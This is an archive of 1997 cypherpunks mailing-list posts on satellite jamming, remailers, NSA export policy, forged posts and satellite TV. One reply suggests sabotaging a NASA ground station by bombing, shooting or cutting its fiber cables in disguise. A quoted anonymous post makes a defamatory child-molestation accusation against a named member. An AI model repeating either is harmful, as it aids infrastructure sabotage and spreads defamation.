Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Mon, 7 Jul 1997 12:44:09 +0800
To: azur@netcom.com (Steve Schear)
Subject: NOISE jamming...
In-Reply-To: <v0310280aafe61146403a@[10.0.2.15]>
Message-ID: <199707070424.AAA26863@pig.die.com>
MIME-Version: 1.0
Content-Type: text



Steve Schear wrote :
> 
> A single jammer is an easy target but multiple coordinated jammers are a
> different story.  My group did some work at TRW on this.  Suffice it to say
> that just a few well coordinted jammers can make DFing even with satellite
> systems very, very, hard.

	There is quite a bit of emitter location technology around,
including much designed to work from airborne platforms that would
likely be deployed as soon as possible.   Seen from the air coordinated
jammers would  likely be widely separted spacially even if they weren't
as seen from the DSN antenna.  And an airborne platform can get very
much closer to one emitter (where its signal predominates) than others
making separating its energy from the rest much easier.

	But yes, a very sophisticated jamming effort sync'd up with GPS
timing and using multiple sites would be something that undoubtably
would knock out a station for a while as countermeasures to such an
attack are not part of operational plans for civilian science research
ground sites.   But many of those sites have several dishes of various
sizes with feeds at the downlink frequency and a dish with 50 or 60 db
of gain and tenth of a degree beamwidth would do fairly well at
isolating a single jammer azimuth and elevation by searching for and
pointing right at it. Perhaps it even would be possible to use two
dishes separted by enough distance to trianglulate.

> 
> >
> >	But most of the time Mars is visible from more than one DSN
> >earth station and given the high priority of the mission the most
> >likely thing would just be to switch stations to one a third of
> >the way around the globe or more.   Would obviously be a nuisance
> >and get some people very mad, but since the ground stations fail
> >from natural causes from time to time such a handover would be
> >fairly routine.
> 
> Which means you'd need to jam all the stations as they came into view.
> Certainly not the work of a lone hacker.

	Hell if you are dead set at disrupting more or less pure
science (mixed with a bit of budget sales pitch) why not rent a
Rider truck loaded with ANFO ? or a HERF device ?  or simply
start shooting at the antenna with a heavy gauge machine gun ?

	Or to be subtler and more stealthy, cut the fiber optic telco
cables connecting the site with the NASA network using nothing more than
a ordinary shovel and a bolt cutter in some out of the way spot.  Many
cable routes are well marked... and you could dress up as the gas
company or water and sewer department and nobody would think twice about
seeing you dig a hole by the side of the road.

> 
> Yep, I just thought they might employ FH to avoid the odd noise blips from
> terrestrial sources (even with reservation of the bands), although SS
> usually   increases front-end bandwidth and lowers sensitivity,
> selectivity, etc.  With link margins already low it probably doen't pay.
> 
	Hopping no,  But they have sometimes used direct sequence spreading
because it supplies a very accurate high resolution ranging yardstick
(as in the case of GPS which works exactly that way).

> >> >
> >	And would be spotted almost instantly on spectrum analyzers and
> >other monitors.
> 
> They'd certainly see the signal, but as I said above a coordinated attack
> from several transmitters can be exceedingly difficult to find, even by
> national technical means.

	Again, there are lots of flying (not orbiting) platforms with
various antennas and DF receivers that can do this sort of thing.
And they can fly any pattern that might be useful and look for interesting
visual, passive IR, and side looking radar observable objects on the ground.
Obtaining a rough (degree or so) direction on the jammers would be 
fairly easy using standard EMI horn and dish antennas or the automated
equivalent on military ELINT vehicles unless the jammers were using
very many sites closely spaced together and phase and frequency 
coherent signals from all the sites.   And certainly sweeping the horizon
with a big dish would likely yield significant location information
simply becuase of the very narrow beam width of the dish's main lobe.

	


							Dave Emery
							die@die.com
							Weston, Mass.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 7 Jul 1997 15:33:18 +0800
To: cypherpunks@Algebra.COM
Subject: Forged Posts
In-Reply-To: <33BAF064.B56@got.net>
Message-ID: <v03102801afe64a7d647e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



The Canadian whacko who goes by "Toto," "TruthMonger," "Xenix Chainsaw
Massacre Author," "Colonel C.J. Parker" (or somesuch) is apparently at it
again.

While I was out of town, he arranged to have this message sent:

At 5:20 PM -0700 7/2/97, Tim May wrote:
>BigNuts wrote:
>> > On Tue, 1 Jul 1997, Tim May wrote:
>> >
>> > > Technology liberates the bits.
>>
>>   Tim gave excellent information on how one can go about using
>> technology to enjoy the fruits of other people's labour without
>> contributing toward the survival of those producing the things
>> he enjoys.
>
>  Anything that isn't nailed down, is mine.
>  Anything that I can pry loose, isn't nailed down.
...etc....


The full headers of this message reveal:

Received: from wombat.sk.sympatico.ca (wombat.sk.sympatico.ca
[142.165.5.136]) by toad.com (8.7.5/8.7.3) with ESMTP id RAA10470 for
<cypherpunks@toad.com>; Wed, 2 Jul 1997 17:21:56 -0700 (PDT)



--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jazzmin Belle Sommers <jazzmin@ou.edu>
Date: Mon, 7 Jul 1997 16:11:58 +0800
To: cypherpunks@Algebra.COM
Subject: No Subject
Message-ID: <33c0a3573d20006@hermes.services.ou.edu>
MIME-Version: 1.0
Content-Type: text/plain



I know some of you are into goth and stuff, and since this list almost never
talks about things related to cypherpunkery I thought I'd pop in something
vaguely relevant.

31 Oct in OKC there's a masquerade ball/costume contest/art show/etc for
those interested in the RPG "Kindred".  Email if interested, otherwise ignore.

anyone know of a good goth site to link a web page to?  (It's not up yet.)


Thx,

jazzmin sommers



"Work is the curse of the drinking classes."
        Oscar Wilde





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 7 Jul 1997 22:04:59 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199707071350.GAA10738@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 7 Jul 97 6:47:50 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
jam      remailer@cypherpunks.ca          +**+*****++*    12:58  99.95%
weasel   config@weasel.owl.de             +++-+---+++   1:43:42  99.91%
mix      mixmaster@remail.obscura.com     .-*...-..-.- 10:13:59  99.80%
replay   remailer@replay.com              +**+**- ****     4:56  99.79%
winsock  winsock@rigel.cyberpass.net      - -.-------   5:53:17  99.58%
squirrel mix@squirrel.owl.de              +++-+  -+++   1:42:06  99.46%
cyber    alias@alias.cyberpass.net         **+* +++***    13:35  99.43%
nym      config@nym.alias.net             +##+##++#*##     2:48  99.36%
reno     middleman@cyberpass.net          --+.--* -***  1:39:45  99.31%
hidden   remailer@hidden.net                            4:44:03  -0.56%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 7 Jul 1997 23:06:30 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: [STEGO] RSA
In-Reply-To: <199707071052.MAA11508@basement.replay.com>
Message-ID: <Pine.A41.3.95.970707084006.29772A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 7 Jul 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Given Tim C. May's propensity to molest little children, is it any
> surprise that the state of California wants to have him castrated?
> 
>   o       o
> /<         >\ Tim C. May
> \\\_______///
> //         \\
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 7 Jul 1997 21:30:52 +0800
To: cypherpunks@toad.com
Subject: Re: Liberating the Bits
In-Reply-To: <v03102800afe64978274e@[207.167.93.63]>
Message-ID: <3P3g0D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> Let it be known I did not write any of the material above attributed to me.

And we're supposed to believe you?

I pity a man who has no sense of humor - like Timmy.

> (I'm just catching up on some of the accumulated e-mail of the past several
> days, and am looking at random messages that catch my interest. Perhaps I
> am missing some context, but I am quoted in the "Tim May wrote:" line, and
> yet none of that quoted section includes anything I wrote.)

Can you prove that you didn't write it?

What about the call to assassinate the president posted under your
name to the alt.cypherpunks newsgroup?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 7 Jul 1997 21:30:54 +0800
To: cypherpunks@toad.com
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <3.0.2.32.19970707141240.00967c00@localhost>
Message-ID: <D73g0D7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Mike <Michael.Johnson@mejl.com> writes:
> You mean that it would be fine for foreigners to copy and sell the CD, but
> not to put it on the net? Well, copyright law being what it is, makes this
> a bit tricky. An ftp administrator have never been sentenced for copyright
> violation (please correct me if I'm wrong),

An MIT student named Lamachhia(sp?) reportedly operated a warez FTP archive.
He got arrested and charged with something irrelevant (wire fraud??).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 8 Jul 1997 00:26:56 +0800
To: cypherpunks@toad.com
Subject: Re: [STEGO] RSA
In-Reply-To: <199707071052.MAA11508@basement.replay.com>
Message-ID: <19970707091103.21159@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Jul 07, 1997 at 10:39:04AM -0400, Robert Hettinga wrote:
> I think I figured something out.
> 
> Tim hasn't been on the list for a while, and no bot noise. Tim gets on the
> list, we get bot noise. The bot's listening for Tim.
> 
> Cheers,
> Bob

It should be clear by now that Tim actually runs the bot.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Tue, 8 Jul 1997 01:06:34 +0800
To: Peter Trei <trei@process.com>
Subject: Re: Jim Bell 6
In-Reply-To: <199707071443.HAA23473@toad.com>
Message-ID: <Pine.GSO.3.96.970707093737.2985A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 7 Jul 1997, Peter Trei wrote:

> John Young <jya@pipeline.com> writes:
>        
> > On June 26 the court handling Jim's case extended
> > the time from June 30 to July 11 for the USA to file an 
> > indictment.
> > 
> > This is from an on-line docket of the case via 
> > Public Access to Court Electronic Records (PACER)
> > a subcription service for federal courts.
> > 
> > No indication that Jim has been released, jailed since 
> > his arrest on May 16. No reason given for repeated
> > waiver of right to a speedy trial.
> > 
> > The docket's at:
> > 
> >    http://jya.com/jimbell-dock.htm
> 
> Thanks for keeping us up to date. Jim always seemed to
> me to be a loony, but I never (and still don't) think
> he's capable of the things the warrent alleges him to
> have been planning.

Agreed.  The time I met Jim he seemed like a loon.  A harmless one at
that...  (The stinkbomb attacks are about as far as he would go.  (And I
happen to know that he is guilty of at least one of those.))

The government seems pretty afraid of someone who only has a history of
petty vandalism with chemicals.  I wonder what else they are afraid of and
to what lengths they will go to stop it.

Reminds me of some of the "government is dead" threads of a couple of
years back.  My response was something to the effect of "The government is
not like an old man dying in a corner.  It is more like an old man having
an epeliptic seizure in a crowded mall with lots of guns.".  If the
govenrment is on the way to losing its power over the people, they are
going to take as many of us down with them on the way out.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 8 Jul 1997 01:20:02 +0800
To: cypherpunks@Algebra.COM
Subject: Is the Vulisbot triggered by my posts?
In-Reply-To: <199707071052.MAA11508@basement.replay.com>
Message-ID: <v03102800afe6d1ed98f2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:39 AM -0700 7/7/97, Robert Hettinga wrote:
>I think I figured something out.
>
>Tim hasn't been on the list for a while, and no bot noise. Tim gets on the
>list, we get bot noise. The bot's listening for Tim.
>

An interesting observation. Indeed, I've been down in LA and San Diego for
the past 5 days.

Did the Vulisbot stop posting during my absence? My vague recollection is
that the bot had been quiescent for some time prior to my trip down south,
and I had been (vaguely) ascribing this quiescence to the problems Vulis
has said he is having with his normal computer.

If the Vulisbot is triggered by my posts (but fortunately is limited to
only one or so per day, not to each of my N posts per day), I don't plan to
stop posting just to save you all the halfwit of whomever is responsible.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 7 Jul 1997 23:41:05 +0800
To: cypherpunks@toad.com
Subject: FYI: NSA Requests Source Code From Elvis+
Message-ID: <v0302090aafe6aa6a6cea@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Mime-Version: 1.0
X-Pgp-Keyid-Fprnt: C053E51D - 4FA3298150E404F2  782501876EA2146A
X-Pgp:
http://keys.pgp.com:11371/pks/lookup?op=vindex&search=Vinnie+Moscaritolo&fingerp
rint=on&exact=on
Date: Sun, 6 Jul 1997 19:39:14 -0700
To: rah@shipwright.com
From: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
Subject: FYI: NSA Requests Source Code From Elvis+


--- begin forwarded text


The following was posted on Computer Reseller News:


NSA Requests Source Code From Elvis+
By Deborah Gage

Mountain View, Calif.
3:00 p.m. EST Thurs., July 3, 1997
.............

The National Security Agency has asked Sun Microsystems Inc. and Elvis+,
the Russian networking company in which Sun has a 10 percent stake, to
turn over the source code of its SunScreen SKIP E+.

At press time, Sun and the NSA still were negotiating over which parts of
the code Sun must turn over. Elvis+ President and Chief Executive
Alexander Galitsky has refused to turn over all the source code on the
grounds that the government does not need it.

"We will offer the NSA a nondisclosure  agreement and two to four code
modules so they can compare our source code with Sun's source code," said
Steven Hunzicker, chief operating officer of Russia Communications
Research Inc., a technology broker for Elvis+ in Los Gatos, Calif. "We
want to be reasonable and respectful, but not foolish. To ask for the
entire source code is unreasonable in any type of environment, business
or otherwise. Sun wouldn't give up their whole source code to the
government."

This is the latest development between the government, Elvis+ and Sun
over encryption policy. In May, Mountain View, Calif.-based Sun hoped to
sidestep U.S. encryption laws by selling the Elvis+ technology overseas
and importing it into the United States (CRN, May 26). Sun has exclusive
rights to the Elvis+ products on Windows 95 and 3.11. Moreover, the
Elvis+ technology is built from Sun's SKIP encryption and key management
protocol.

A Sun spokeswoman said Sun was in communication with the U.S. Department
of Commerce, but otherwise had no comment.

The Commerce Department, meanwhile, either will escalate its inquiry into
a full-scale investigation or resolve the issue, said a spokeswoman for
the department.

The NSA declined to comment on the matter.

Sources familiar with the inquiry said the Commerce Department is leaning
toward quiet resolution, despite the NSA's request. "This is not a fight
worth fighting," one source said. "They're watching the situation, but
right now no one wants to play."

Sun also acknowledged this week that the U.S. State Department is
investigating the diversion of a Sun server for unapproved use in China.

A Sun spokesman said the company is cooperating with the government and
is in touch with both the reseller and buyer of the server in an attempt
to get it back.

The spokesman refused to provide further details, citing national
security concerns.


--- end forwarded text




Vinnie Moscaritolo
That Crypto Guy at Apple...
http://www.vmeng.com/vinnie/
PGP:      4FA3298150E404F2782501876EA2146A
DSS/DH:   B36343A790489C8D4E149147D57A7566C206F586

1 if by land, 2 if by sea.
	 Paul Revere - encryption 1775

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 8 Jul 1997 01:30:19 +0800
To: cypherpunks@Algebra.COM
Subject: Re: FYI: NSA Requests Source Code From Elvis+
In-Reply-To: <v0302090aafe6aa6a6cea@[139.167.130.246]>
Message-ID: <v03102801afe6d3f5130f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:18 AM -0700 7/7/97, Ulf Möller wrote:
>> The National Security Agency has asked Sun Microsystems Inc. and Elvis+,
>> the Russian networking company in which Sun has a 10 percent stake, to
>> turn over the source code of its SunScreen SKIP E+.
>
>Why should the US government get access to the source code of foreign
>product being imported to the US?

Because the United States of America is no longer a nation of laws. And
because, as some clever wag put it several years ago, "'national security'
is the root pass phrase of the Constitution."

(Sidestepping the issue that there are many thousands of
variously-interpreted laws, and presumably some law could be found
somewhere which says the NSA has the authority to demand whatever they
wish...)

I'd like to see Sun take a strong stance on this: "Show us the specific law
which lets you look at _imports_."

Actually, they have a sort of case for looking at imports: If imports are
unrestricted but exports are controlled, even if the export is just
re-export of an import (!), then someone somewhere in government presumably
has to confirm they are the same.

(And there are even some laws banning reexport of cryptographic code even
if it was imported, as we all know.)

But the real reason is that NSA and Commerce don't like this trend of
foreign developers sidestepping the U.S. crypto export laws...as with
Elvis+, Stronghold, etc. And they ain't going to allow it to go on for much
longer.

And criminals in the Congress will compliantly give them the laws they want
to put an end to this.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 7 Jul 1997 23:38:10 +0800
To: cypherpunks@toad.com
Subject: Re: [STEGO] RSA
In-Reply-To: <199707071052.MAA11508@basement.replay.com>
Message-ID: <v03020917afe6afc3ae4e@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



I think I figured something out.

Tim hasn't been on the list for a while, and no bot noise. Tim gets on the
list, we get bot noise. The bot's listening for Tim.

Cheers,
Bob



At 6:52 am -0400 on 7/7/97, Anonymous wrote:


> Given Tim C. May's propensity to molest little children, is it any
> surprise that the state of California wants to have him castrated?
>
>   o       o
> /<         >\ Tim C. May
> \\\_______///
> //         \\


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Mon, 7 Jul 1997 23:00:48 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell 6
Message-ID: <199707071443.HAA23473@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



John Young <jya@pipeline.com> writes:
       
> On June 26 the court handling Jim's case extended
> the time from June 30 to July 11 for the USA to file an 
> indictment.
> 
> This is from an on-line docket of the case via 
> Public Access to Court Electronic Records (PACER)
> a subcription service for federal courts.
> 
> No indication that Jim has been released, jailed since 
> his arrest on May 16. No reason given for repeated
> waiver of right to a speedy trial.
> 
> The docket's at:
> 
>    http://jya.com/jimbell-dock.htm

Thanks for keeping us up to date. Jim always seemed to
me to be a loony, but I never (and still don't) think
he's capable of the things the warrent alleges him to
have been planning.

Peter Trei
DISCLAIMER: The above is my opinion, no one else's.

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 8 Jul 1997 02:01:25 +0800
To: Lucky Green <cypherpunks@Algebra.COM
Subject: Re: Direct satellite systems?
In-Reply-To: <3.0.2.32.19970705230758.0072d7e8@netcom10.netcom.com>
Message-ID: <v03102802afe6d8581af1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:07 PM -0700 7/5/97, Lucky Green wrote:
>My local cable killing Mars rover deployment in favor of local dog tag
>ordinances (as required by the city), made me realize it that getting my
>own dish is way overdue.
>
>I would appreciate reports on any first hand experiences subscribers to
>this list have with satellite services. Yes, NASA TV and the SF channel is
>a must. :-)

I'm copying the list for my usual reasons. Plus, others may be interested.

I've had a DSS system for 15 months, and strongly recommend it, with a few
caveats I'll get to. I run my system into a Sony S-VHS deck and thence out
to a 32-inch direct view Pro-Scan monitor. (And to sets in other rooms.)

DSS is the leading 18-inch system, with DirectTV, USSB, Hughes, RCA, Sony,
etc. being the main names. The main competing system  being the Dish TV
system.

For about $60 a month I get the usual hundred or so channels, 5 channels of
HBO, 3 channels of Showtime, 3 of Cinemax, 3 of The Movie Channel, and
multiple others. And CNN, CNN-International, CNN-FN, blah blah. And CSPAN
(Congressional Sycophants, Panderers and Assholes Network). And the Sci-Fi
channel, though I never watch it (plenty of good recent vintage SF movies
on the major HBO types of networks, and Sci Fi channel often has
infomercials, etc.).

There is supposedly an Internet downfeed of some sort coming, but I'm not
counting on it. (The receiver box has a digital output cable; no uplink, of
course, but the proposed use involves a telephone connection for the user
responses.)

Advantages: Dish is very small and light. Fixed aiming, which means it can
be aimed and forgotten, with no mechanical motors, no maintenance, no lag
time in reacquiring a satellite. Dish can be mounted anywhere a clear view
of the southern sky is available. Exact aiming details for any location are
available (try Web sites, or Usenet newsgroups like *.dss.*, etc.). The
dish can be bolted on the side of houses, apartments, etc. Not in trees,
though, or where trees will even partly block the line of sight.

The picture quality is very good for some things. No snow, no thermal noise
("sparklies").  See next section.

Disadvantages: The system is all digital transmission. MPEG-2 is used for
compression. This can result in compression artifacts, especially in
fast-changing scenes (sports, for example).

The first year I had the system, I noticed almost no compression artifacts.
Recently, though, the various programmers like HBO and Encore added more
channels. I surmise this was done by cranking up the compression factors,
as many people are complaining loudly on the Net about seeing more
"pixelation" or "blocking" artififacts.

I'm hoping they tweak the algorithms and ratios to lessen this problem.

One or more additional satellites are expected to go up, so this may help.

I'd still recommend it. Over the competing systems like Dish TV, and
certainly over the 8-foot BUDs (Big Ugly Dishes, the C-band systems).

Readers with good memories may note that I mentioned Ku-band satellites in
my Crypto Anarchist Manifesto, written and distributed in 1988. Things have
come full circle.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 8 Jul 1997 02:18:57 +0800
To: cypherpunks@Algebra.COM
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <19970702180331.11847@bywater.songbird.com>
Message-ID: <19970707110450.55022@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Jul 02, 1997 at 08:21:23PM -0500, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <19970702180331.11847@bywater.songbird.com>, on 07/02/97 
>   at 06:03 PM, Kent Crispin <kent@songbird.com> said:
>
>>"There is something right when Kent Crispin is not a felon under an 
>>increasing number of laws."
>
>Just goes to show that you can goose-step with the best of them Kent.

You learn the darndest things on this list....

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
